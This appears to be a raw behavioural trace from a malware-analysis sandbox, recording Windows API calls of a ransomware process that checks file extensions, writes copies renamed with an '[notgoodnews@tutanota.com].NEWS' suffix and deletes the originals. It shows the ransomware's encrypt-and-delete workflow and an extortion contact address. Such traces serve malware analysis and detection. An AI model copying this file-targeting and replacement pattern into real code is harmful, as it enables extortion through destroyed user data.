lstrlenW (lpString=".bz2") returned 4 [0222.821] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0222.821] lstrlenW (lpString=".7z") returned 3 [0222.821] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0222.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.821] lstrlenW (lpString=".dbf") returned 4 [0222.821] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0222.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.821] lstrlenW (lpString=".1cd") returned 4 [0222.821] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0222.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.821] lstrlenW (lpString=".jpg") returned 4 [0222.822] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0222.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.822] lstrlenW (lpString=".doc") returned 4 [0222.822] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0222.822] lstrlenW (lpString=".docx") returned 5 [0222.822] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0222.822] lstrlenW (lpString=".pdf") returned 4 [0222.822] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0222.822] lstrlenW (lpString=".xls") returned 4 [0222.822] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0222.823] lstrlenW (lpString=".xlsx") returned 5 [0222.823] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0222.823] lstrlenW (lpString=".ppt") returned 4 [0222.823] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0222.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.823] lstrlenW (lpString=".zip") returned 4 [0222.824] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0222.824] lstrlenW (lpString=".rar") returned 4 [0222.824] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0222.824] lstrlenW (lpString=".bz2") returned 4 [0222.824] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0222.824] lstrlenW (lpString=".7z") returned 3 [0222.824] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0222.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.824] lstrlenW (lpString=".dbf") returned 4 [0222.824] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0222.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.824] lstrlenW (lpString=".1cd") returned 4 [0222.824] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0222.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0222.825] lstrlenW (lpString=".jpg") returned 4 [0222.825] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0222.825] lstrcmpiW (lpString1=".xsl", lpString2=".NEWS") returned 1 [0222.825] lstrlenW (lpString="sql70.xsl") returned 9 [0222.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0222.918] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=32146) returned 1 [0222.918] CloseHandle (hObject=0x390) returned 1 [0222.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0222.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0222.919] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.919] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0222.920] GetLastError () returned 0x0 [0222.920] ReadFile (in: hFile=0x390, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x7d92, lpOverlapped=0x0) returned 1 [0225.513] WriteFile (in: hFile=0x398, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0225.518] ReadFile (in: hFile=0x390, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.518] WriteFile (in: hFile=0x398, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.519] SetEndOfFile (hFile=0x398) returned 1 [0225.519] CloseHandle (hObject=0x398) returned 1 [0225.519] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.520] SetEndOfFile (hFile=0x390) returned 1 [0225.953] CloseHandle (hObject=0x390) returned 1 [0225.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0225.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0225.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.955] lstrlenW (lpString=".doc") returned 4 [0225.955] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0225.956] lstrlenW (lpString=".docx") returned 5 [0225.956] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0225.956] lstrlenW (lpString=".pdf") returned 4 [0225.956] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0225.956] lstrlenW (lpString=".xls") returned 4 [0225.956] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0225.956] lstrlenW (lpString=".xlsx") returned 5 [0225.956] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0225.956] lstrlenW (lpString=".ppt") returned 4 [0225.956] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0225.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.956] lstrlenW (lpString=".zip") returned 4 [0225.957] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0225.957] lstrlenW (lpString=".rar") returned 4 [0225.957] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0225.957] lstrlenW (lpString=".bz2") returned 4 [0225.957] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0225.957] lstrlenW (lpString=".7z") returned 3 [0225.957] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0225.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.957] lstrlenW (lpString=".dbf") returned 4 [0225.957] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0225.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.958] lstrlenW (lpString=".1cd") returned 4 [0225.958] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0225.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.958] lstrlenW (lpString=".jpg") returned 4 [0225.958] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0225.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.958] lstrlenW (lpString=".doc") returned 4 [0225.959] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0225.959] lstrlenW (lpString=".docx") returned 5 [0225.959] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0225.959] lstrlenW (lpString=".pdf") returned 4 [0225.960] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0225.960] lstrlenW (lpString=".xls") returned 4 [0225.960] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0225.960] lstrlenW (lpString=".xlsx") returned 5 [0225.960] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0225.960] lstrlenW (lpString=".ppt") returned 4 [0225.960] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0225.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.960] lstrlenW (lpString=".zip") returned 4 [0225.960] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0225.960] lstrlenW (lpString=".rar") returned 4 [0225.960] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0225.961] lstrlenW (lpString=".bz2") returned 4 [0225.961] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0225.961] lstrlenW (lpString=".7z") returned 3 [0225.961] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0225.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.961] lstrlenW (lpString=".dbf") returned 4 [0225.961] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0225.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.961] lstrlenW (lpString=".1cd") returned 4 [0225.961] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0225.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0225.961] lstrlenW (lpString=".jpg") returned 4 [0225.961] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0225.962] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0225.962] lstrlenW (lpString="AG00037_.GIF") returned 12 [0225.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0225.963] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=6684) returned 1 [0225.963] CloseHandle (hObject=0x390) returned 1 [0225.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0225.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0225.964] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.964] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0228.554] GetLastError () returned 0x0 [0228.555] ReadFile (in: hFile=0x390, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0228.567] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0228.570] ReadFile (in: hFile=0x390, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0228.570] WriteFile (in: hFile=0x35c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0228.571] SetEndOfFile (hFile=0x35c) returned 1 [0228.571] CloseHandle (hObject=0x35c) returned 1 [0228.571] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0228.572] SetEndOfFile (hFile=0x390) returned 1 [0229.337] CloseHandle (hObject=0x390) returned 1 [0229.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0229.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.345] lstrlenW (lpString=".doc") returned 4 [0229.345] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.345] lstrlenW (lpString=".docx") returned 5 [0229.345] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.345] lstrlenW (lpString=".pdf") returned 4 [0229.345] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.345] lstrlenW (lpString=".xls") returned 4 [0229.345] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.345] lstrlenW (lpString=".xlsx") returned 5 [0229.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.345] lstrlenW (lpString=".ppt") returned 4 [0229.345] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.346] lstrlenW (lpString=".zip") returned 4 [0229.346] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.346] lstrlenW (lpString=".rar") returned 4 [0229.346] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.346] lstrlenW (lpString=".bz2") returned 4 [0229.346] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.346] lstrlenW (lpString=".7z") returned 3 [0229.346] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.346] lstrlenW (lpString=".dbf") returned 4 [0229.346] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.346] lstrlenW (lpString=".1cd") returned 4 [0229.346] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.347] lstrlenW (lpString=".jpg") returned 4 [0229.347] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.347] lstrlenW (lpString=".doc") returned 4 [0229.347] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.347] lstrlenW (lpString=".docx") returned 5 [0229.347] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.347] lstrlenW (lpString=".pdf") returned 4 [0229.347] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.347] lstrlenW (lpString=".xls") returned 4 [0229.348] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.348] lstrlenW (lpString=".xlsx") returned 5 [0229.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.348] lstrlenW (lpString=".ppt") returned 4 [0229.348] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.348] lstrlenW (lpString=".zip") returned 4 [0229.348] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.348] lstrlenW (lpString=".rar") returned 4 [0229.348] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.348] lstrlenW (lpString=".bz2") returned 4 [0229.348] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.348] lstrlenW (lpString=".7z") returned 3 [0229.349] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.349] lstrlenW (lpString=".dbf") returned 4 [0229.349] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.349] lstrlenW (lpString=".1cd") returned 4 [0229.349] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0229.349] lstrlenW (lpString=".jpg") returned 4 [0229.349] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.568] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0229.568] lstrlenW (lpString="AG00120_.GIF") returned 12 [0229.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0229.681] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3484) returned 1 [0229.681] CloseHandle (hObject=0x30c) returned 1 [0229.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0229.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0229.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0229.834] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.834] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0229.836] GetLastError () returned 0x0 [0229.836] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0229.850] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0229.853] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0229.853] WriteFile (in: hFile=0x3b8, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0229.853] SetEndOfFile (hFile=0x3b8) returned 1 [0229.853] CloseHandle (hObject=0x3b8) returned 1 [0229.854] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.854] SetEndOfFile (hFile=0x3b4) returned 1 [0229.861] CloseHandle (hObject=0x3b4) returned 1 [0229.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0229.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.863] lstrlenW (lpString=".doc") returned 4 [0229.863] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.863] lstrlenW (lpString=".docx") returned 5 [0229.863] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.863] lstrlenW (lpString=".pdf") returned 4 [0229.864] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.864] lstrlenW (lpString=".xls") returned 4 [0229.864] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.864] lstrlenW (lpString=".xlsx") returned 5 [0229.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.864] lstrlenW (lpString=".ppt") returned 4 [0229.864] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.864] lstrlenW (lpString=".zip") returned 4 [0229.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.864] lstrlenW (lpString=".rar") returned 4 [0229.865] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.865] lstrlenW (lpString=".bz2") returned 4 [0229.865] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.865] lstrlenW (lpString=".7z") returned 3 [0229.865] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0229.865] lstrlenW (lpString=".dbf") returned 4 [0229.865] lstrcmpiW 